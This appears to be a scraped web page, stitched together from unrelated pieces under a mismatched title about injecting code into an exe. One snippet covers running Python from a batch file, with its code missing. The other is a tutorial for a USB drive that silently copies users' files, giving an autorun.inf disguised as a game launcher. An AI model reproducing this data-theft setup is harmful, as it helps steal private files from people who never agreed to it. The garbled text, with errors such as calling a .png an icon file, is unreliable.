How to inject code into a exe file

Running Python Code in Windows Batch File Trick | HalOtis I found this really neat bit of .bat file magic that will let you save your python script code in a .bat file and run it in windows just like any other script. The nice thing about this is that you don’t have to create a separate “launch.bat” file with one “start python script.py” line in it. This makes running python scripts in Windows more like it is on a Linux/Mac where you can easily add a #!/usr/bin/env python line to the script and run it directly. Here’s the bit of tricky batch file magic that does it: The way it works is that the first line of the file does two different things. starts python interpreter passing the name of the file in, and the -x option will tell it to skip the first line (containing .bat file code)When python finishes the script exits. This nifty trick makes it much nicer for writing admin scripts with python on Windows. Update: fixed to properly pass command line arguments (%* argument passes through the command line arguments for the bat file to python)

How to make flash drive that copy's users files silently and automatically Ok there is no order in the file creation process just that you have all files created and on the flash drive. I will start out with the autorun.inf. This file is used when you insert the flash drive into said computer. Here is the code, you will have to open a simple word editor such as word, you can past this code into word and edit to your hearts content. [autorun] icon=drive.icoopen=launch.bataction=Click ok to Run game for Windowsshell\open\command=launch.bat a couple of notes the code is between the lines not the lines at all so dont put them in your autorun file. also when you save this file after editing or pasing this in the editor make shure you save it as all files and put a .inf after it... like this autorun.inf look at pic two if you have any issues. You can change the icon to your tastes what you will have to do is find a .png a png file is an icon file. next is the open= command this code takes the launch batch file and opens it.. more on the launch batch file later.